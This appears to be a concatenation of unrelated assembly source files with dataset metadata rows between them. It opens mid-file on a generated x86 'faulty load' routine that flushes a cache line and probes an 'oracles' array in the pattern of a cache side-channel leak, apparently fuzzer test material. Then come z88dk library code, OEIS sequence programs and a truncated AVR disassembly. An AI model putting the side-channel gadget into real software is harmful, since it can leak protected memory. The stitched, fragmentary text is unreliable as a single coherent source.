nop
add $28945, %r14
lea addresses_WT_ht+0x102d, %rax
add %rdi, %rdi
mov $0x6162636465666768, %rdx
movq %rdx, %xmm2
and $0xffffffffffffffc0, %rax
vmovntdq %ymm2, (%rax)
sub %r8, %r8
lea addresses_WC_ht+0x1ec2d, %r8
nop
nop
nop
nop
lfence
movb (%r8), %r14b
nop
nop
nop
nop
cmp $32935, %rdx
lea addresses_A_ht+0xce2d, %rsi
nop
nop
nop
nop
xor $35587, %rax
mov (%rsi), %edi
nop
nop
nop
sub $25401, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r9
push %rax
push %rbx
push %rcx
push %rsi
// Load
lea addresses_WC+0x1182d, %rax
clflush (%rax)
dec %rbx
mov (%rax), %r14
and $14696, %r14
// Store
mov $0xa4d, %r12
nop
nop
nop
nop
add %r9, %r9
mov $0x5152535455565758, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%r12)
nop
and %rax, %rax
// Store
lea addresses_WT+0xdaf1, %rsi
nop
nop
nop
nop
sub %rax, %rax
mov $0x5152535455565758, %r12
movq %r12, (%rsi)
nop
nop
nop
xor %rsi, %rsi
// Store
lea addresses_WC+0x1182d, %rax
nop
sub $61223, %rbx
mov $0x5152535455565758, %rcx
movq %rcx, %xmm0
movntdq %xmm0, (%rax)
nop
nop
nop
nop
and $41412, %rsi
// Load
lea addresses_RW+0x13cad, %r9
cmp %r14, %r14
movb (%r9), %al
nop
nop
nop
nop
and %r14, %r14
// Faulty Load
lea addresses_WC+0x1182d, %r14
nop
and %rcx, %rcx
movb (%r14), %bl
lea oracles, %r12
and $0xff, %rbx
shlq $12, %rbx
mov (%r12,%rbx,1), %rbx
pop %rsi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_P', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_RW', 'AVXalign': True, 'size': 1}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 1, 'type': 'addresses_D_ht'}}
{'src': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}}
{'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 6, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 9, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'58': 21823, 'ce': 1, '12': 1, '50': 1, 'f8': 2, '22': 1}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 32.866171 | 2,999 | 0.651623 |
a55d2c1dfb71d1347c2a454a8476d8c443e4e650 | 284 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_fpclassify.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_fpclassify.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_fpclassify.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_fp_math32
PUBLIC cm32_sdcc_fpclassify
EXTERN m32_fpclassify
cm32_sdcc_fpclassify:
pop bc ; pop ret
pop hl
pop de
push de
push hl
push bc ; push ret
call m32_fpclassify
ld l,a
ld h,0
ret
| 14.947368 | 42 | 0.570423 |
195541e960cf65c29c63e37dee304f9be8fe4056 | 153 | asm | Assembly | programs/oeis/175/A175673.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/175/A175673.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/175/A175673.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A175673: Number of n-digit terms in A179955.
; 0,9,36,84,126,126,84,36,9,1
mov $2,9
bin $2,$0
lpb $0
mod $0,2
div $0,10
mov $1,$2
lpe
mov $0,$1
| 12.75 | 46 | 0.594771 |
f419fc9828e9aa0f7353d6329e5daccc83169012 | 322 | asm | Assembly | programs/oeis/011/A011000.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/011/A011000.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/011/A011000.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A011000: a(n) = binomial coefficient C(n,47).
; 1,48,1176,19600,249900,2598960,22957480,177100560,1217566350,7575968400,43183019880,227692286640,1119487075980,5166863427600,22512762077400,93052749919920,366395202809685,1379370175283520,4981058966301600,17302625882942400,57963796707857040
add $0,47
mov $1,$0
bin $1,47
| 46 | 242 | 0.835404 |
05adc22a7773b6c50a907a461d1b2eccdd5ef816 | 1,585 | asm | Assembly | libsrc/stdio/ansi/px8/f_ansi_char.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/stdio/ansi/px8/f_ansi_char.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/stdio/ansi/px8/f_ansi_char.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
; ANSI Video handling for the Epson PX8
; By Stefano Bodrato - 2019
;
; Handles Attributes INVERSE, BOLD + UNDERLINED
;
; Display a char in location (__console_y),(__console_x)
; A=char to display
;
;
; $Id: f_ansi_char.asm $
;
SECTION smc_clib
PUBLIC ansi_CHAR
EXTERN subcpu_call
EXTERN ansifont
EXTERN __console_y
EXTERN __console_x
PUBLIC INVRS
PUBLIC BOLD
PUBLIC UNDRLN
.ansi_CHAR
ld hl,data+5
ld (hl),255 ; underline the character by default, then ovverride if not necessary
ld l,a
ld h,0
add hl,hl
ld d,h
ld e,l
add hl,hl
add hl,de
;ld de,font8x6-192
ld de,ansifont-192
add hl,de
ld de,data
.UNDRLN
ld b,6 ; 5 (underlined) or 6
.copyloop
ld a,(hl)
.BOLD
nop ; rla
nop ; or (hl)
.INVRS
nop ; set to CPL to enable INVERSE
ld (de),a
inc hl
inc de
djnz copyloop
ld a,(__console_x)
ld (xcoord),a
ld a,(__console_y)
add a ; *2
ld e,a
add a ; *4
add e ; *6
add 2 ; center the text vertically
ld (ycoord),a
ld hl,packet_wr
jp subcpu_call
SECTION data_clib
; master packet for write operation
packet_wr:
defw sndpkt
packet_sz:
defw 12 ; packet sz (=6+data len)
defw xcoord ; packet addr expected back from the slave CPU (1 byte for return code only, we use the foo position of xcoord)
defw 1 ; size of the expected packet being received (just the return code)
sndpkt:
defb $25 ; slave CPU command to write to the graphics memory ($25 = write)
xcoord:
defb 0
ycoord:
defb 0
width:
defb 1
height:
defb 6
operation:
defb 0 ; Operation (0=store)
data:
defs 6
| 15.539216 | 124 | 0.677603 |
694b4fc155d0c1b8b79902b43d2e26637b08f17a | 636 | asm | Assembly | libsrc/_DEVELOPMENT/l/z80/l_mirror.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/l/z80/l_mirror.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/l/z80/l_mirror.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_clib
SECTION code_l
PUBLIC l_mirror
.l_mirror
; reverse or mirror the bits in a byte
; 76543210 -> 01234567
;
; 18 bytes / 70 cycles
;
; from http://www.retroprogramming.com/2014/01/fast-z80-bit-reversal.html
;
; enter : a = byte
;
; exit : a, l = byte reversed
; uses : af, l
ld l,a ; a = 76543210
rlca
rlca ; a = 54321076
xor l
and 0xAA
xor l ; a = 56341270
ld l,a
rlca
rlca
rlca ; a = 41270563
rrc l ; l = 05634127
xor l
and 0x66
xor l ; a = 01234567
ld l,a
ret
| 17.189189 | 77 | 0.514151 |
c84fc366de1565230235d2bdd2ce5df776fc57b5 | 627 | asm | Assembly | programs/oeis/172/A172193.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/172/A172193.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/172/A172193.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A172193: 5*n^2+31*n+1.
; 1,37,83,139,205,281,367,463,569,685,811,947,1093,1249,1415,1591,1777,1973,2179,2395,2621,2857,3103,3359,3625,3901,4187,4483,4789,5105,5431,5767,6113,6469,6835,7211,7597,7993,8399,8815,9241,9677,10123,10579,11045,11521,12007,12503,13009,13525,14051,14587,15133,15689,16255,16831,17417,18013,18619,19235,19861,20497,21143,21799,22465,23141,23827,24523,25229,25945,26671,27407,28153,28909,29675,30451,31237,32033,32839,33655,34481,35317,36163,37019,37885,38761,39647,40543,41449,42365,43291,44227,45173,46129,47095,48071,49057,50053,51059,52075
add $0,3
mov $1,$0
mul $0,5
add $0,1
mul $0,$1
sub $0,47
| 62.7 | 543 | 0.776715 |
b11a91800e16b7a464fa9725d8232205d1ed16a1 | 58,818 | asm | Assembly | benchmarks/insertsort/main.asm | TRDDC-TUM/wcet-benchmarks | f3e2870ea17b7baeb753db53eeba5de674351bf1 | [
"MIT"
] | 2 | 2019-10-25T02:58:38.000Z | 2019-10-25T14:17:08.000Z | benchmarks/insertsort/main.asm | TRDDC-TUM/wcet-benchmarks | f3e2870ea17b7baeb753db53eeba5de674351bf1 | [
"MIT"
] | null | null | null | benchmarks/insertsort/main.asm | TRDDC-TUM/wcet-benchmarks | f3e2870ea17b7baeb753db53eeba5de674351bf1 | [
"MIT"
] | 2 | 2019-06-02T14:18:44.000Z | 2020-04-16T00:45:03.000Z |
main.elf: file format elf32-avr
Disassembly of section .text:
00000000 <__vectors>:
__vectors():
../../../../crt1/gcrt1.S:52
0: 0c 94 46 00 jmp 0x8c ; 0x8c <__ctors_end>
../../../../crt1/gcrt1.S:53
4: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:54
8: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:55
c: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:56
10: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:57
14: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:58
18: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:59
1c: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:60
20: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:61
24: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:62
28: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:63
2c: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:64
30: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:65
34: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:66
38: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:67
3c: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:68
40: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:69
44: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:70
48: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:71
4c: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:72
50: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:73
54: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:74
58: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:75
5c: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:76
60: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:77
64: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:78
68: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:79
6c: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:80
70: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:81
74: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:82
78: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:83
7c: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:84
80: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:85
84: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
../../../../crt1/gcrt1.S:86
88: 0c 94 58 00 jmp 0xb0 ; 0xb0 <__bad_interrupt>
0000008c <__ctors_end>:
../../../../crt1/gcrt1.S:179
8c: 11 24 eor r1, r1
8e: 1f be out 0x3f, r1 ; 63
90: cf ef ldi r28, 0xFF ; 255
92: d0 e1 ldi r29, 0x10 ; 16
94: de bf out 0x3e, r29 ; 62
96: cd bf out 0x3d, r28 ; 61
00000098 <__do_clear_bss>:
98: 11 e0 ldi r17, 0x01 ; 1
9a: a0 e0 ldi r26, 0x00 ; 0
9c: b1 e0 ldi r27, 0x01 ; 1
9e: 01 c0 rjmp .+2 ; 0xa2 <.do_clear_bss_start>
000000a0 <.do_clear_bss_loop>:
a0: 1d 92 st X+, r1
000000a2 <.do_clear_bss_start>:
a2: a6 31 cpi r26, 0x16 ; 22
a4: b1 07 cpc r27, r17
a6: e1 f7 brne .-8 ; 0xa0 <.do_clear_bss_loop>
a8: 0e 94 5a 00 call 0xb4 ; 0xb4 <main>
ac: 0c 94 07 01 jmp 0x20e ; 0x20e <_exit>
000000b0 <__bad_interrupt>:
__bad_interrupt():
../../../../crt1/gcrt1.S:195
b0: 0c 94 00 00 jmp 0 ; 0x0 <__vectors>
000000b4 <main>:
main():
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:55
b4: cf 93 push r28
b6: df 93 push r29
b8: 00 d0 rcall .+0 ; 0xba <main+0x6>
ba: 00 d0 rcall .+0 ; 0xbc <main+0x8>
bc: 00 d0 rcall .+0 ; 0xbe <main+0xa>
be: cd b7 in r28, 0x3d ; 61
c0: de b7 in r29, 0x3e ; 62
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:58
c2: 10 92 01 01 sts 0x0101, r1
c6: 10 92 00 01 sts 0x0100, r1
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:59
ca: 8b e0 ldi r24, 0x0B ; 11
cc: 90 e0 ldi r25, 0x00 ; 0
ce: 90 93 03 01 sts 0x0103, r25
d2: 80 93 02 01 sts 0x0102, r24
d6: 8a e0 ldi r24, 0x0A ; 10
d8: 90 e0 ldi r25, 0x00 ; 0
da: 90 93 05 01 sts 0x0105, r25
de: 80 93 04 01 sts 0x0104, r24
e2: 89 e0 ldi r24, 0x09 ; 9
e4: 90 e0 ldi r25, 0x00 ; 0
e6: 90 93 07 01 sts 0x0107, r25
ea: 80 93 06 01 sts 0x0106, r24
ee: 88 e0 ldi r24, 0x08 ; 8
f0: 90 e0 ldi r25, 0x00 ; 0
f2: 90 93 09 01 sts 0x0109, r25
f6: 80 93 08 01 sts 0x0108, r24
fa: 87 e0 ldi r24, 0x07 ; 7
fc: 90 e0 ldi r25, 0x00 ; 0
fe: 90 93 0b 01 sts 0x010B, r25
102: 80 93 0a 01 sts 0x010A, r24
106: 86 e0 ldi r24, 0x06 ; 6
108: 90 e0 ldi r25, 0x00 ; 0
10a: 90 93 0d 01 sts 0x010D, r25
10e: 80 93 0c 01 sts 0x010C, r24
112: 85 e0 ldi r24, 0x05 ; 5
114: 90 e0 ldi r25, 0x00 ; 0
116: 90 93 0f 01 sts 0x010F, r25
11a: 80 93 0e 01 sts 0x010E, r24
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:60
11e: 84 e0 ldi r24, 0x04 ; 4
120: 90 e0 ldi r25, 0x00 ; 0
122: 90 93 11 01 sts 0x0111, r25
126: 80 93 10 01 sts 0x0110, r24
12a: 83 e0 ldi r24, 0x03 ; 3
12c: 90 e0 ldi r25, 0x00 ; 0
12e: 90 93 13 01 sts 0x0113, r25
132: 80 93 12 01 sts 0x0112, r24
136: 82 e0 ldi r24, 0x02 ; 2
138: 90 e0 ldi r25, 0x00 ; 0
13a: 90 93 15 01 sts 0x0115, r25
13e: 80 93 14 01 sts 0x0114, r24
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:61
142: 82 e0 ldi r24, 0x02 ; 2
144: 90 e0 ldi r25, 0x00 ; 0
146: 9a 83 std Y+2, r25 ; 0x02
148: 89 83 std Y+1, r24 ; 0x01
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:62
14a: 50 c0 rjmp .+160 ; 0x1ec <main+0x138>
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:66
14c: 89 81 ldd r24, Y+1 ; 0x01
14e: 9a 81 ldd r25, Y+2 ; 0x02
150: 9c 83 std Y+4, r25 ; 0x04
152: 8b 83 std Y+3, r24 ; 0x03
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:70
154: 2f c0 rjmp .+94 ; 0x1b4 <main+0x100>
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:75
156: 8b 81 ldd r24, Y+3 ; 0x03
158: 9c 81 ldd r25, Y+4 ; 0x04
15a: 88 0f add r24, r24
15c: 99 1f adc r25, r25
15e: 80 50 subi r24, 0x00 ; 0
160: 9f 4f sbci r25, 0xFF ; 255
162: fc 01 movw r30, r24
164: 80 81 ld r24, Z
166: 91 81 ldd r25, Z+1 ; 0x01
168: 9e 83 std Y+6, r25 ; 0x06
16a: 8d 83 std Y+5, r24 ; 0x05
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:76
16c: 8b 81 ldd r24, Y+3 ; 0x03
16e: 9c 81 ldd r25, Y+4 ; 0x04
170: 01 97 sbiw r24, 0x01 ; 1
172: 88 0f add r24, r24
174: 99 1f adc r25, r25
176: 80 50 subi r24, 0x00 ; 0
178: 9f 4f sbci r25, 0xFF ; 255
17a: fc 01 movw r30, r24
17c: 20 81 ld r18, Z
17e: 31 81 ldd r19, Z+1 ; 0x01
180: 8b 81 ldd r24, Y+3 ; 0x03
182: 9c 81 ldd r25, Y+4 ; 0x04
184: 88 0f add r24, r24
186: 99 1f adc r25, r25
188: 80 50 subi r24, 0x00 ; 0
18a: 9f 4f sbci r25, 0xFF ; 255
18c: fc 01 movw r30, r24
18e: 31 83 std Z+1, r19 ; 0x01
190: 20 83 st Z, r18
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:77
192: 8b 81 ldd r24, Y+3 ; 0x03
194: 9c 81 ldd r25, Y+4 ; 0x04
196: 01 97 sbiw r24, 0x01 ; 1
198: 2d 81 ldd r18, Y+5 ; 0x05
19a: 3e 81 ldd r19, Y+6 ; 0x06
19c: 88 0f add r24, r24
19e: 99 1f adc r25, r25
1a0: 80 50 subi r24, 0x00 ; 0
1a2: 9f 4f sbci r25, 0xFF ; 255
1a4: fc 01 movw r30, r24
1a6: 31 83 std Z+1, r19 ; 0x01
1a8: 20 83 st Z, r18
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:78
1aa: 8b 81 ldd r24, Y+3 ; 0x03
1ac: 9c 81 ldd r25, Y+4 ; 0x04
1ae: 01 97 sbiw r24, 0x01 ; 1
1b0: 9c 83 std Y+4, r25 ; 0x04
1b2: 8b 83 std Y+3, r24 ; 0x03
/home/becker/async/autosafe/trunk/tum/wcet-cbmc/benchmarks/insertsort/insertsort.c:70
1b4: 8b 81 ldd r24, Y+3 ; 0x03
1b6: 9c 81 ldd r25, Y+4 ; 0x04
